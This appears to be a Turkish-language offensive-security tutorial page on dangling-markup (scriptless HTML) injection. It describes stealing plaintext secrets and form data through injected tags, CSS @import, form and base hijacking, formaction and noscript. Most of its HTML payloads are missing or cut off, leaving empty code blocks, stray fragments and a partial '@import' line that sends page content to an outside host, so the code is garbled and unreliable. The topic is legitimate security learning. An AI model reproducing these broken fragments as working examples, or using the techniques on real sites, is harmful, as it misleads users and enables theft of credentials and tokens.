# Dangling Markup - HTML scriptless injection {{#include ../../banners/hacktricks-training.md}} ## Özgeçmiş Bu teknik, bir **HTML enjeksiyonu bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir XSS** [**saldırısı**](../xss-cross-site-scripting/index.html) gerçekleştirmek için herhangi bir yol bulamazsanız ve **bazı HTML etiketleri** enjekte edebiliyorsanız çok faydalıdır.\ Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır. Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) sızdırarak bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/index.html) engellerini aşmak için kullanılabilir. ## Ana Uygulamalar ### Açık metin sırlarını çalmak Sayfa yüklendiğinde `@import//hackvertor.co.uk? <--- Injected steal me!; ``` **`test ``` ### Formları Çalmak ```html ``` Sonra, verileri yola gönderen formlar (örneğin `
`) verileri kötü niyetli alan adına gönderecektir. ### Formları Çalma 2 Bir form başlığı ayarlayın: `` bu, bir sonraki form başlığını geçersiz kılacak ve formdan gelen tüm veriler saldırgana gönderilecektir. ### Formları Çalma 3 Buton, formun bilgilerini göndereceği URL'yi "formaction" niteliği ile değiştirebilir: ```html ``` Bir saldırgan bunu bilgileri çalmak için kullanabilir. Bu saldırının [**örneğini bu yazıda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). ### Açık metin sırlarını çalmak 2 Yeni bahsedilen tekniği kullanarak formları çalmak için (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz: ```html ` etiketi enjekte ederek de yapabilirsiniz. Kapalı bir `` bulunana kadar tüm veriler gönderilecektir: ```html Click Me ← Injected lines ← Existing form (ignored by the parser) ... ← Subverted field ... ...
``` ### Noscript aracılığıyla açık metin sırlarını çalmak `` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz). Saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir: ```html